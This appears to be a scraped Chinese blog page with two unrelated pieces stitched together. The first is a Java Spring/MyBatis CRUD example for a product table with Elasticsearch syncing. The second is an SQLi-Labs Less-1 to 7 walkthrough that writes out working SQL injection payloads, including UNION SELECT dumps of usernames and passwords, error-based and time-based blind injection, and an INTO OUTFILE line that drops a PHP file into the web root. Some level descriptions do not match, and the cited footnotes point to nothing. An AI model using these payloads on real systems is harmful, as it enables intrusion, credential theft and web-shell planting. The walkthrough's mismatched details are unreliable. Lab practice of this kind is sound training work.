java 增删查改

产品表:

 包含了一些对elasticsearch的操作。

pojo:


//产品类
public class Product {

    private Integer id;

    private String productName;

    private Integer productType;

    private String productDesc;

    private String productCompany;

    private String productVersion;

    private String childrenProductType;

    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }

    public String getProductName() {
        return productName;
    }


    public void setProductName(String productName) {
        this.productName = productName == null ? null : productName.trim();
    }


    public Integer getProductType() {
        return productType;
    }

    public void setProductType(Integer productType) {
        this.productType = productType;
    }

    public String getProductDesc() {
        return productDesc;
    }

    public void setProductDesc(String productDesc) {
        this.productDesc = productDesc == null ? null : productDesc.trim();
    }


    public String getProductCompany() {
        return productCompany;
    }


    public void setProductCompany(String productCompany) {
        this.productCompany = productCompany == null ? null : productCompany.trim();
    }


    public String getProductVersion() {
        return productVersion;
    }


    public void setProductVersion(String productVersion) {
        this.productVersion = productVersion == null ? null : productVersion.trim();
    }


    public String getChildrenProductType() {
        return childrenProductType;
    }

    public void setChildrenProductType(String childrenProductType) {
        this.childrenProductType = childrenProductType == null ? null : childrenProductType.trim();
    }
}

ProductController:

/**
	 * 
	 * <p>Title: getList</p>  
	 * <p>Description:分页关键字模糊查询 </p>  
	 * @author duwb  
	 * @param query
	 * @return
	 */
	@RequestMapping(value="/getList",method=RequestMethod.POST)
	public Result getList(@RequestBody Query query){
		return productService.getList(query);
	}
	
	
	/**
	 * 
	 * <p>Title: addOne</p>  
	 * <p>Description: 数据插入</p>  
	 * @author duwb  
	 * @param query
	 * @return
	 */
	@RequestMapping(value="/insert",method=RequestMethod.POST)
	public Result addOne(@RequestBody Product query) throws Exception{
		return productService.addOne(query);
	}
	
	
	/**
	 * 
	 * <p>Title: updateOne</p>  
	 * <p>Description: 更新数据</p>  
	 * @author duwb  
	 * @param query
	 * @return
	 */
	@RequestMapping(value="/update",method=RequestMethod.POST)
	public Result updateOne(@RequestBody Product query) throws Exception{
		return productService.updateOne(query);
	}
	
	
	/**
	 * 
	 * <p>Title: delMore</p>  
	 * <p>Description: 批量删除信息</p>  
	 * @author duwb  
	 * @param ids
	 * @return
	 */
	@RequestMapping(value="/deleteMore",method=RequestMethod.POST)
	public Result delMore(@RequestBody List<Integer> ids){
		return productService.delMore(ids);
	}

 productService:

	/**
	 * 
	 * <p>Title: getList</p>  
	 * <p>Description: 分页查询</p>  
	 * @author duwb  
	 * @param query
	 * @return
	 */
	@Syslog(desc = "分页查询",level = 1L,model = "产品服务")
	public Result getList( Query query){
		ProductExample example = new ProductExample();
		ProductExample.Criteria criteria = example.createCriteria();
		String searchText = query.get("searchText").toString();
		String selectType = query.get("selectType").toString();
        //搜索框
		if(!"".equals(searchText) && searchText != null){
			criteria.andProductNameLike("%"+searchText+"%");
		}
        //类型条件
		if(!"".equals(selectType) && selectType != null){
			criteria.andProductTypeEqualTo(Integer.parseInt(selectType));
		}
        //降序
		example.setOrderByClause("id desc");
		//Mybatis分页插件
PageHelper.startPage(Integer.parseInt(query.get("pageNo").toString()),Integer.parseInt(query.get("limit").toString()),true);
		List<Product> products = productMapper.selectByExample(example);
		if(products == null){
			return Result.error("分页查询失败!");
		}
        //如果需要获取总记录数的话,需要PageInfo类的对象 
		PageInfo<Product> pageInfo = new PageInfo<>(products);
		long total = pageInfo.getTotal();
		products = pageInfo.getList();
		List<ProductVo> productVos = new ArrayList<>();
		products.parallelStream().forEach(product -> {
			String productChildrenTypeName = null;
			//软件
			if(product.getProductType() == 1){
				productChildrenTypeName = dictionariesService.getNameByTableNameAndId("soft_type","name",product.getChildrenProductType());
			}
			//硬件
			else if(product.getProductType() == 2){
				productChildrenTypeName = dictionariesService.getNameByTableNameAndId("situation_dev_type","name",product.getChildrenProductType());
			}
			ProductVo vo = new ProductVo();
			vo.setProductChildrenTypeName(productChildrenTypeName);
			vo.setChildrenProductType(product.getChildrenProductType());
			vo.setId(product.getId());
			vo.setProductType(product.getProductType());
			vo.setProductCompany(product.getProductCompany());
			vo.setProductDesc(product.getProductDesc());
			vo.setProductName(product.getProductName());
			vo.setProductVersion(product.getProductVersion());
			productVos.add(vo);
		});
		return Result.ok("分页查询成功!").put("total",total).put("products",productVos);
	}

	

	/**
	 * 
	 * <p>Title: addOne</p>
	 * <p>Description: 新增</p>  
	 * @author duwb  
	 * @param product
	 * @return
	 */
	@Syslog(desc = "新增",level = 1L,model = "产品服务")
	@Transactional(rollbackFor=RuntimeException.class)
	public Result addOne(Product product){
		int num = productMapper.insertSelective(product);
		if(num<0){
			return Result.error("新增失败!");
		}
		//存储ES
		DicEsEntity esEntity = new DicEsEntity();
		esEntity.setTableName("product");
		esEntity.setDicId(product.getId());
		esEntity.setName(product.getProductName());
		esUtil.save(esEntity, Constants.DICINDEX, Constants.DICTYPE);

		return Result.ok("新增成功!");
	}
	

	/**
	 * 
	 * <p>Title: updateOne</p>
	 * <p>Description: 更新</p>  
	 * @author duwb  
	 * @param product
	 * @return
	 */
	@Syslog(desc = "更新",level = 1L,model = "产品服务")
	@Transactional(rollbackFor=RuntimeException.class)
	public Result updateOne(Product product){
		int num = productMapper.updateByPrimaryKeySelective(product);
		if(num<=0){
			return Result.error("更新失败!");
		}
		//存储ES
		DicEsEntity esEntity = new DicEsEntity();
		esEntity.setTableName("product");
		esEntity.setDicId(product.getId());
		esEntity.setName(product.getProductName());
		esUtil.update(esEntity, Constants.DICINDEX);
		
		return Result.ok("更新成功!");
	}
	
	
	/**
	 * 
	 * <p>Title: delMore</p>  
	 * <p>Description: 批量删除</p>  
	 * @author duwb  
	 * @param ids
	 * @return
	 */
	@Syslog(desc = "批量删除",level = 1L,model = "产品服务")
	@Transactional(rollbackFor=RuntimeException.class)
	public Result delMore(List<Integer> ids){
		ProductExample example = new ProductExample();
		ProductExample.Criteria criteria = example.createCriteria();
		criteria.andIdIn(ids);
	    int rows=productMapper.deleteByExample(example);

	    //删除ES
		esUtil.deleteByIds(ids,Constants.DICINDEX);
	    if (rows ==0) {
			return Result.error("批量删除失败!");
		}
	    
		return Result.ok("批量删除成功!");
	}

 

### SQLi-Labs 1-7 关卡解题思路 #### Less-1: 基础 GET 请求注入 在这一关中,目标是在 URL 参数 `id` 中注入 SQL 语句来获取数据库中的信息。通过输入 `' OR '1'='1` 可以绕过身份验证并登录成功[^1]。 ```sql ?id=1' or '1'='1 ``` #### Less-2: 使用 UNION SELECT 注入 此关涉及使用 `UNION SELECT` 来联合查询其他表的内容。为了找到合适的列数,可以逐个增加返回的结果集数量直到页面不再报错为止。一旦确定了正确的列数,则可以通过这些列读取任意表格的信息[^3]。 ```sql ?id=-1 UNION ALL SELECT NULL,NULL FROM information_schema.tables WHERE table_schema=database()# ``` #### Less-3: 报错注入 利用 MySQL 的内置函数如 `extractvalue()` 或者 `updatexml()` 实现基于错误回显的 SQL 注入攻击。这允许直接从服务器响应中提取敏感数据而无需额外请求。 ```sql ?uname=1' AND extractvalue(1,concat(0x7e,(SELECT database())))--+&passwd=1&submit=Submit ``` #### Less-4: 时间盲注 当无法看到具体的错误消息时,可采用时间延迟技术来进行推测性的注入测试。例如,如果存在漏洞则会使查询等待一段时间再继续执行。 ```sql ?id=1' AND IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),NULL)--+ ``` #### Less-5: 基于布尔条件的时间盲注 进一步扩展上一关的概念,在不知道确切版本号的情况下也可以利用布尔表达式的真假判断配合 SLEEP 函数完成注入操作[^2]。 ```sql ?id=1' AND (IF((ASCII(SUBSTRING(version(),1,1)))>50,BENCHMARK(5000000,SHA1('A')),false))--+ ``` #### Less-6: 多参数注入 本关考察如何处理多个输入字段的同时注入问题。通常情况下只需要在一个地方构造恶意负载即可影响整个查询逻辑[^4]。 ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x7E,password) FROM users # ``` #### Less-7: 文件写入与读取 最后一关涉及到更高级别的功能——将查询结果保存成文件并通过 Web 访问路径下载下来查看具体内容。这一步骤可能需要用到 INTO OUTFILE 子句以及 LOAD_FILE() 函数实现本地文件系统的交互。 ```sql ?id=1' union all select null,'<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php'# ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值